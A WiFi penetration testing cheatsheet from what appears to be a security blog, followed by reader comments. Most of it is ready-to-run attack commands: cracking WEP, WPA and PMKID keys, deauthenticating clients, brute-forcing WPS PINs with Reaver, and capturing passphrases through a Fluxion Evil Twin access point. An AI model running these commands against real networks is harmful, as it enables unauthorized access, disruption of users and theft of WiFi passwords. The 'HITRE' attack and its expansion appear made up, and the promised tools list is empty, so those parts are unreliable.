WiFi Penetration Testing Cheatsheet for Ethical Hackers

Welcome to the ultimate WiFi penetration testing cheatsheet, an essential resource for every ethical hacker. This guide will walk you through the process of testing WEP, WPA, PMKID Attack, ARP Request Replay Attack, WPS PIN, HITRE attack, and the Evil Twin method. We’ll also introduce popular automated tools and provide useful links for further learning.

This cheatsheet was created with the assumption that the user has installed the Kali operating system and  is competent in using Linux based tools. You will also need a wifi adapter capable of packet injection.

Here are some common network adapters that are capable of packet injection:

  1. Alfa AWUS036ACH
  2. TP-Link TL-WN722N
  3. Alfa AWUS036NHA
  4. Alfa AWUS036H
  5. NETGEAR A6210-100PES

It’s worth noting that compatibility can vary depending on the operating system and driver support. Additionally, this list is not exhaustive, and there may be other network adapters that support packet injection as well.

Table of Contents:

  1. WiFi Penetration Testing Overview
  2. Essential Tools for WiFi Penetration Testing
  3. WiFi Penetration Testing Cheat sheet: Step-by-Step Guide for WEP, WPA, PMKID, ARP Request Replay, WPS PIN, HITRE, and Evil Twin Attacks

WiFi penetration testing is a critical component of network security, aiming to identify vulnerabilities in wireless networks and implement appropriate security measures. Our WiFi penetration testing cheatsheet covers various techniques and methodologies targeting WEP, WPA, WPA2, and WPA3 encryption standards.

  1. Essential Tools for WiFi Penetration Testing

Here are some popular automated tools for WiFi penetration testing that will be invaluable for your WiFi penetration testing cheatsheet:

  1. WiFi Penetration Testing Cheatsheet: Step-by-Step Guide for WEP, WPA, PMKID, ARP Request Replay, WPS PIN, HITRE, and Evil Twin Attacks

3.1 WEP Penetration Testing

  • Enable monitor mode: airmon-ng start wlan0
  • Capture packets: airodump-ng --bssid [BSSID] --channel [CHANNEL] --write [OUTPUT] wlan0mon
  • Crack the WEP key: aircrack-ng [OUTPUT.cap]

3.2 WPA Penetration Testing

  • Enable monitor mode: airmon-ng start wlan0
  • Capture WPA handshake: airodump-ng --bssid [BSSID] --channel [CHANNEL] --write [OUTPUT] wlan0mon
  • Deauthenticate client: aireplay-ng --deauth 5 -a [BSSID] -c [CLIENT] wlan0mon
  • Crack WPA key: aircrack-ng [OUTPUT.cap] -w [WORDLIST]

3.3 PMKID Attack

  • Enable monitor mode: airmon-ng start wlan0
  • Capture PMKID: hcxdumptool -i wlan0mon --enable_status 3 --filterlist=[TARGETS] --filtermode=2 --outfile=[OUTPUT]
  • Convert to hashcat format: hcxpcaptool -z [HASHFILE] [OUTPUT]
  • Crack PMKID: hashcat -m 16800 [HASHFILE] [WORDLIST] --force

3.4 ARP Request Replay Attack

  • Enable monitor mode: airmon-ng start wlan0
  • Capture packets: airodump-ng --bssid [BSSID] --channel [CHANNEL] --write [OUTPUT] wlan0mon
  • Perform ARP request replay: aireplay-ng --arpreplay -b [BSSID] -h [CLIENT] wlan0mon
  • Crack the WEP key: aircrack-ng [OUTPUT.cap]

3.5 WPS PIN Attack

  • Enable monitor mode: airmon-ng start wlan0
  • Scan for WPS-enabled networks: wash -i wlan0mon
  • Crack WPS PIN using Reaver: reaver -i wlan0mon -b [BSSID] -c [CHANNEL] -vv -K 1
  • Obtain WPA passphrase from cracked PIN.

3.6 HITRE Attack (Handshake, Interactive, and Timing Resource Exhaustion)

  • Enable monitor mode: airmon-ng start wlan0
  • Capture WPA handshake: airodump-ng --bssid [BSSID] --channel [CHANNEL] --write [OUTPUT] wlan0mon
  • Repeatedly deauthenticate clients: aireplay-ng --deauth [COUNT] -a [BSSID] wlan0mon
  • Crack WPA key: aircrack-ng [OUTPUT.cap] -w [WORDLIST]

3.7 Evil Twin Attack

  • Install Fluxion: git clone https://github.com/FluxionNetwork/fluxion
  • Run Fluxion: cd fluxion && ./fluxion.sh
  • Select language and follow the on-screen instructions.
  • Choose “Evil Twin AP” attack and configure the fake access point.
  • Capture the WPA passphrase when the victim connects to the fake access point.

Conclusion:

This WiFi penetration testing cheatsheet offers a thorough overview of WiFi penetration testing techniques, automated tools, and a step-by-step guide for WEP, WPA, PMKID, ARP Request Replay, WPS PIN, HITRE, and Evil Twin attacks. Remember to use this information responsibly and ethically, and never engage in unauthorised hacking activities.

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4 comments

Echo2Echo May 3, 2023 - 4:42 am
@MANDELORD: It clearly says in the preference above to have a good knowledge of Kali. So you can't really ha e a go at the author because you never checked to see if it was up to date. Are you going to blame the author because you couldn't be bothered to open up a terminal and type in sudo and up your OS also?
Richard May 2, 2023 - 12:32 pm
Great sheet, this is really good
Mandelord May 1, 2023 - 10:52 am
And The Author Of The Article Can Not Even Tell Me to Update ``git`` before cloning Fluxion..
Mic Johnson May 1, 2023 - 11:14 am
Also if you see a completely dark screen it could be that your computer/screen is switched off, remember to press the power button in this situation :D

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